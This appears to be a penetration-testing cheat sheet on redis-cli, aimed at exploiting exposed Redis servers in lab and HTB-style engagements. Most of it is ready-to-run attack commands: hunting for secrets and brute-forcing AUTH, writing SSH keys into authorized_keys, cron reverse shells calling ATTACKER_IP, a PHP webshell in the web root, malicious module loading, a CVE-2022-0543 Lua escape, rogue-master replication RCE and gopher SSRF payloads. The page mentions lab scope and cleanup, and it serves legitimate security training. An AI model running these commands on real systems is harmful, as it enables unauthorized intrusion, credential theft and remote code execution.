redis-cli
redis-cli — the official command-line client shipped with Redis, used both to administer a legitimate instance and (offensively) to talk directly to an unauthenticated or credentialed Redis service (default port 6379/tcp) during enumeration and exploitation. Redis ships with no authentication by default and historically binds to all interfaces, making it one of the highest-value “low-hanging fruit” services in internal/HTB engagements — see Service Enumeration → Redis and Attack Flow Guide for the workflow-stage version of this content.
Installation
# macOS (Homebrew) — installs redis-server + redis-cli together, no separate cask
brew install redis
# Debian / Ubuntu — client only, no server
sudo apt install redis-tools
# Debian / Ubuntu — full package (server + client)
sudo apt install redis-server
# Kali — preinstalled; if missing:
sudo apt install redis-tools
# From source (any *nix, when the target's version matters for a specific CVE)
git clone https://github.com/redis/redis.git && cd redis && make
./src/redis-cli --version
redis-cli --version # e.g. "redis-cli 8.10.1"
redis-cli --help # full flag list
Connecting
redis-cli -h 10.10.10.100 # default port 6379, no auth
redis-cli -h 10.10.10.100 -p 6380 # custom port
redis-cli -h 10.10.10.100 -a 'S3cr3tPass' # AUTH password (warns: password on cmdline visible in ps/history)
redis-cli -h 10.10.10.100 -a 'S3cr3tPass' --no-auth-warning # suppress that warning
redis-cli -h 10.10.10.100 --user default -a 'pass' # Redis 6+ ACL username
redis-cli -h 10.10.10.100 -n 3 # select logical DB 3 (of 16, default 0)
redis-cli -u redis://default:pass@10.10.10.100:6379/0 # connection-string form
redis-cli -h 10.10.10.100 --tls --cacert ca.pem # TLS-enabled instance (Redis 6+ w/ TLS build)
redis-cli -h 10.10.10.100 -3 # force RESP3 protocol (HELLO)
Once connected you land in the interactive prompt: 10.10.10.100:6379>. Any command below also works as a one-shot non-interactive call: redis-cli -h $IP <command> <args>.
Core Flags
| Flag | Description |
|---|---|
-h <host> | Target host (default 127.0.0.1) |
-p <port> | Target port (default 6379) |
-a <password> | Password for AUTH (or -a "" to test empty-password auth) |
--user <name> | ACL username (Redis 6+), paired with -a |
-n <db> | Select DB index after connecting (0–15 by default) |
-x | Read the last argument from stdin — used for pipe-writing binary/file data into a key |
--no-raw | Force human-readable formatted output (useful when scripting expects raw) |
--csv | Output replies in CSV format |
-r <n> | Repeat the command n times |
-i <secs> | Interval between repeats (with -r) |
--scan | Non-interactively run a full SCAN cursor loop, printing every key |
--pattern <glob> | Filter --scan results by key-name glob |
--bigkeys | Sample the keyspace and report the largest key per data type |
--stat | Continuously print INFO-derived stats (like top for Redis) |
--latency | Measure round-trip latency to the server |
--rdb <file> | Download the server’s RDB snapshot over the wire (via SYNC; works against old servers too, no filesystem access needed) |
--pipe | Pipe raw RESP-protocol commands from stdin for mass loading (fastest bulk insert) |
--cluster <cmd> | Redis Cluster admin subcommands (check, info, reshard, …) |
Enumeration — Is It Actually Unauthenticated?
redis-cli -h $IP PING # "PONG" with no AUTH = unauthenticated
redis-cli -h $IP INFO # full server/replication/keyspace info if unauth
redis-cli -h $IP INFO server | head # just the version/os/build section
PONG/data returned → no auth required, proceed straight to enumeration.(error) NOAUTH Authentication required.→ auth is enabled; try-a ""(empty password), common default/weak creds, or move on.
# Fast unauth check across a subnet (no redis-cli loop needed)
nmap -p6379 --script redis-info -sV 10.10.10.0/24
Enumeration Commands
redis-cli -h $IP INFO # everything: version, OS, uptime, memory, replication, persistence
redis-cli -h $IP CONFIG GET '*' # dump the entire live config (dir, dbfilename, requirepass, logfile, ...)
redis-cli -h $IP CONFIG GET dir # working directory the server writes to
redis-cli -h $IP CONFIG GET requirepass # empty string back = no password set, even if you got this far via other auth
redis-cli -h $IP DBSIZE # key count in the selected DB
redis-cli -h $IP CLIENT LIST # connected clients, their addresses and idle time
redis-cli -h $IP CLIENT GETNAME
redis-cli -h $IP KEYS '*' # list every key — blocking, avoid on large/prod DBs
redis-cli -h $IP --scan --pattern '*' # same result, non-blocking cursor iteration (prefer this)
redis-cli -h $IP TYPE keyname # string/list/set/zset/hash/stream
redis-cli -h $IP GET keyname # read a string key
redis-cli -h $IP LRANGE keyname 0 -1 # read a full list
redis-cli -h $IP SMEMBERS keyname # read a full set
redis-cli -h $IP HGETALL keyname # read a full hash
redis-cli -h $IP ZRANGE keyname 0 -1 WITHSCORES # read a full sorted set
redis-cli -h $IP --bigkeys # find the biggest keys — often config/session/cache dumps worth reading
[!tip] Credential and secret hunting Redis is frequently used as a session store, cache, or job queue.
KEYS '*'/--scanfollowed by targetedGET/HGETALL/LRANGEon interesting-looking keys (session:*,celery,laravel:*,*token*,*password*) regularly yields live session tokens, API keys, or app secrets without needing to exploit anything.
AUTH, ACLs & Brute Forcing
When AUTH is required, enumerate the ACL surface. Redis 6+ has named users; earlier builds only a single global requirepass.
redis-cli -h $IP ACL WHOAMI # current user — "default" before any AUTH
redis-cli -h $IP ACL LIST # every user + rule string (keys, cmds, hashed pw)
redis-cli -h $IP ACL USERS # just the usernames
redis-cli -h $IP ACL GETUSER default # full permission breakdown for one user
redis-cli -h $IP ACL CAT # command categories (@admin, @dangerous, @scripting...)
redis-cli -h $IP CONFIG GET requirepass # leaks the plaintext default password once you can read config
AUTH has two forms — the legacy single-arg (user default) and the Redis 6+ two-arg for named ACL users:
# In the REPL after connecting:
AUTH S3cr3tPass # legacy: authenticate as "default"
AUTH alice S3cr3tPass # Redis 6+: authenticate as ACL user "alice"
# From the shell (password on cmdline — pair with --no-auth-warning):
redis-cli -h $IP --user alice -a 'S3cr3tPass' --no-auth-warning ACL WHOAMI
Brute forcing AUTH:
nmap -p6379 --script redis-brute $IP # NSE, targets the default user
# Metasploit
msfconsole -q -x "use auxiliary/scanner/redis/redis_login; set RHOSTS $IP; set PASS_FILE /usr/share/wordlists/rockyou.txt; run; exit"
# Manual loop (default user)
while read -r p; do
redis-cli -h $IP -a "$p" --no-auth-warning PING 2>/dev/null | grep -q PONG && { echo "[+] valid: $p"; break; }
done < /usr/share/wordlists/rockyou.txt
[!tip] Cracking ACL password hashes
ACL LIST/ACL GETUSER <user>print each user’s password as a SHA-256 hash (#<64-hex>). Pull them and crack offline with hashcat mode 1400 (raw SHA-256).CONFIG GET requirepassreturns the plaintextdefaultpassword outright once you can read config — always grab it for reuse/spray.
[!warning] Redis version gates the ACL system
ACL *commands only exist on Redis ≥ 6. On older servers they return(error) ERR unknown command 'ACL'— which itself fingerprints a pre-6 build that only supports a single globalrequirepass.
Exploitation — SSH Key / authorized_keys Write
Classic technique when Redis runs as a user with a writable home directory (often the redis service account, sometimes root on a badly-configured box).
# 1. Generate a keypair on your attacking box
ssh-keygen -t rsa -b 4096 -f redis_key -N ""
# 2. Confirm the target dir is writable by the redis process
redis-cli -h $IP CONFIG GET dir
# 3. Point Redis's save-dir/save-file at the SSH authorized_keys location
redis-cli -h $IP CONFIG SET dir /var/lib/redis/.ssh
redis-cli -h $IP CONFIG SET dbfilename authorized_keys
# 4. Write the public key as a string value with padding newlines, then flush to disk
(echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") | redis-cli -h $IP -x SET sshkey
redis-cli -h $IP SAVE
# 5. Connect
ssh -i redis_key redis@$IP
[!warning] Destructive and environment-dependent
SAVErewrites the server’s on-disk RDB file — do this only in a lab or against an explicitly in-scope target, and prefer snapshotting the originaldir/dbfilenamevalues first (CONFIG GET dir/CONFIG GET dbfilename) so you can restore them.CONFIG SET dirfails silently-ish ((error) ERR ... Changing directory: ...) if the redis user can’t write there — pick a directory the service actually owns (its own data dir is the safe bet if.sshisn’t writable). Root often doesn’t run Redis anymore on modern distros; checkINFO server→process_idand/proc/<pid>/status(if you get a shell another way) for the real run-as user first.
Exploitation — Cron-Based Reverse Shell
Alternative to SSH-key write when /etc/cron.d/ (or the target user’s crontab spool) is writable instead of ~/.ssh/.
redis-cli -h $IP CONFIG SET dir /var/spool/cron/crontabs
redis-cli -h $IP CONFIG SET dbfilename root # or the target cron user's name
redis-cli -h $IP SET cronjob "\n\n* * * * * bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n\n"
redis-cli -h $IP SAVE
# Debian/Ubuntu cron.d syntax instead needs a run-as-user field:
redis-cli -h $IP CONFIG SET dir /etc/cron.d
redis-cli -h $IP CONFIG SET dbfilename malicious
redis-cli -h $IP SET x "\n* * * * * root bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n"
redis-cli -h $IP SAVE
Catch it with pwncat-cs -lp 4444 / rustcat listen -p 4444 / nc -lvnp 4444, wait up to 60s for cron to fire.
Exploitation — Webshell into a Web Root
When Redis and a web server share a host, redirect the RDB dump into the web root instead of ~/.ssh/cron — same CONFIG SET dir + dbfilename + SAVE primitive.
redis-cli -h $IP CONFIG SET dir /var/www/html # or /usr/share/nginx/html, C:\xampp\htdocs, C:\inetpub\wwwroot
redis-cli -h $IP CONFIG SET dbfilename shell.php
redis-cli -h $IP SET webshell '<?php system($_GET["cmd"]); ?>'
redis-cli -h $IP SAVE
curl "http://$IP/shell.php?cmd=id" # trigger through the web server
[!tip] Why the binary RDB still runs
SAVEwraps your value in RDB header/footer bytes, but PHP ignores everything outside the<?php ... ?>tags and executes only your block — so a dumped RDB is a valid webshell. You must know (or leak via LFI,CONFIG GET dir, or a server error) the real web-root path first; a wrongdirwrites nothing reachable. Same idea works for a.jsp/.aspxpayload against the matching stack.
Exploitation — Module Load RCE (Redis ≥ 4.x, module loading enabled)
If CONFIG GET dir/write access works but there’s no cron or SSH path, and the server allows MODULE LOAD (disabled by default on hardened/managed Redis but common on self-hosted boxes):
# Build or fetch a malicious .so (e.g. RedisModules-ExecuteCommand)
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand && make
# Upload the module via SET + SAVE, same CONFIG SET dir/dbfilename trick as above,
# pointed at a filename ending in .so and the server's dir
redis-cli -h $IP CONFIG SET dir /tmp
redis-cli -h $IP CONFIG SET dbfilename exp.so
cat module.so | redis-cli -h $IP -x SET payload
redis-cli -h $IP SAVE
redis-cli -h $IP MODULE LOAD /tmp/exp.so
redis-cli -h $IP system.exec "id" # command exposed by the loaded module
Fully automated versions of both the SSH-key and module-RCE paths: redis-rogue-server and the Metasploit exploit/linux/redis/redis_replication_cmd_exec (module RCE) / auxiliary/scanner/redis/file_upload (RDB file write) modules.
Exploitation — Lua Sandbox / EVAL RCE (CVE-2022-0543)
EVAL runs server-side Lua. Upstream Redis sandboxes it, but Debian/Ubuntu’s packaging (CVE-2022-0543) left the Lua package/os/io libs reachable — a full RCE with no CONFIG/MODULE/write access at all.
# Baseline — does EVAL work, and what's the working dir?
redis-cli -h $IP EVAL "return 'lua-ok'" 0
redis-cli -h $IP EVAL "return redis.call('CONFIG','GET','dir')" 0
# CVE-2022-0543 — Debian/Ubuntu Lua sandbox escape (numkeys = 0)
redis-cli -h $IP EVAL 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
[!warning] Distro- and version-specific CVE-2022-0543 affects only Debian/Ubuntu-packaged Redis (not upstream builds); fixed in the 2022 Debian security updates. The
liblua5.1.so.0path varies by distro/arch —x86_64-linux-gnuis the Debian/Ubuntu amd64 path; confirm withfind / -name 'liblua5.1*' 2>/dev/nullif you already have a foothold. On patched/non-Debian targets EVAL stays sandboxed — fall back to theCONFIG/MODULE/replication paths.
Replication-Based RCE (Master/Slave Abuse)
Redis 4/5’s replication feature can be abused to load an attacker-controlled .so module without ever touching the filesystem via SAVE:
# Tools like redis-rogue-server automate this: spin up a rogue "master" Redis,
# issue SLAVEOF to point the target at it, then push the module through the sync stream.
python3 redis-rogue-server.py --rhost $IP --rport 6379 --lhost ATTACKER_IP --lport 21000
Preferred when CONFIG SET dir is locked down (protected-mode-style hardening) but SLAVEOF/REPLICAOF is still callable.
Manual master/replica abuse (what the tools automate)
# Recon: replication role + module surface first
redis-cli -h $IP ROLE # "master"/"slave" + linked replicas
redis-cli -h $IP INFO replication # role, connected_slaves, master_link_status
redis-cli -h $IP MODULE LIST # already-loaded modules (empty is normal)
# 1. On ATTACKER: serve exp.so from a rogue master (redis-rogue-server /
# RedisModules-ExecuteCommand's module) on e.g. 21000
# 2. Point the target's replication at your rogue master:
redis-cli -h $IP REPLICAOF ATTACKER_IP 21000 # SLAVEOF on Redis < 5 (still aliased on 5+)
redis-cli -h $IP MODULE LOAD ./exp.so # loads the module synced over the replica stream
redis-cli -h $IP system.exec "id" # RCE via the module's command
# 3. Detach + unload to clean up
redis-cli -h $IP REPLICAOF NO ONE
redis-cli -h $IP MODULE UNLOAD system # module registers as "system" — confirm via MODULE LIST
RESP Protocol SSRF (gopher://)
Redis’s RESP protocol also accepts inline commands — plaintext, space-separated, CRLF-terminated, no handshake — so a web-app SSRF that can reach an internal 6379 can drive Redis via gopher:// even when you can’t point redis-cli at it directly.
# Inline protocol proof over a raw socket (no redis-cli needed)
printf 'INFO\r\nQUIT\r\n' | nc $IP 6379
# Build the gopher:// payload (SSH-key/cron write, or Lua RCE) with Gopherus
gopherus --exploit redis # interactive: reverse shell / ssh key / php shell
[!tip] Encoding & full workflow Gopher payloads usually need double URL-encoding (
%250d%250afor CRLF) when the app decodes the parameter once before the SSRF fires. The complete SSRF payload table and blind-SSRF tips live in Web Enumeration & Exploitation.
Non-Interactive & Scripting Usage
# One-shot command (no REPL) — good for scripting/loops
redis-cli -h $IP GET mykey
# Pipe a script of commands (one per line) in non-interactively
cat commands.txt | redis-cli -h $IP
# EVAL — run server-side Lua; useful both for admin tasks and, historically, for
# sandbox-escape RCE research (patched in modern Redis, still worth checking version)
redis-cli -h $IP EVAL "return redis.call('GET', KEYS[1])" 1 mykey
# Mass-insert benchmark/seed data fast (raw RESP protocol over --pipe)
redis-cli -h $IP --pipe < mass_insert_commands.resp
# Monitor every command hitting the server in real time (great for watching an app's traffic)
redis-cli -h $IP MONITOR
# Download the RDB snapshot without needing filesystem/SAVE access
redis-cli -h $IP --rdb /tmp/dump.rdb
Cleanup
If you wrote to dir/dbfilename, restore them to avoid leaving the box in a broken state:
redis-cli -h $IP CONFIG SET dir <original_dir>
redis-cli -h $IP CONFIG SET dbfilename <original_dbfilename>
redis-cli -h $IP DEL sshkey cronjob payload x # remove any keys you added
Troubleshooting
| Problem | Solution |
|---|---|
(error) NOAUTH Authentication required. | Try -a "", weak default creds, or move on — no unauth exploitation available |
CONFIG SET dir errors / silently doesn’t stick | Redis process can’t write there; pick a dir it already owns (check CONFIG GET dir first) |
SAVE returns fine but nothing lands on disk | Wrong dbfilename/dir combo, or save points elsewhere — confirm with CONFIG GET save / LASTSAVE |
MODULE LOAD unsupported / returns error | enable-module-command disabled (default since Redis 7) — fall back to SSH-key/cron write instead |
| Cron reverse shell never fires | Check the crontab syntax landed correctly (cat the file back via GET), confirm the cron daemon actually reads that spool path |
| Connection refused / times out | Redis often binds 127.0.0.1 only on hardened hosts — you need a foothold or SSRF (see gopher payload below) to reach it |
| Need to reach Redis via a web SSRF, not directly | Build a gopher:// payload with Gopherus — see Web Enumeration & Exploitation |
See Also
- Service Enumeration — Redis inside the broader stage-by-stage triage workflow.
- Attack Flow Guide — the condensed one-liner version of the SSH-key-write chain.
- Anonymous / Null-Session Testing — Redis alongside SMB/LDAP/FTP/SNMP/NFS/MongoDB unauth checks.
- fscan — automates Redis detection + SSH-key/cron exploitation across a whole subnet.
Based on redis-cli 8.x (Redis 8.10.1) — https://redis.io/docs/latest/develop/tools/cli/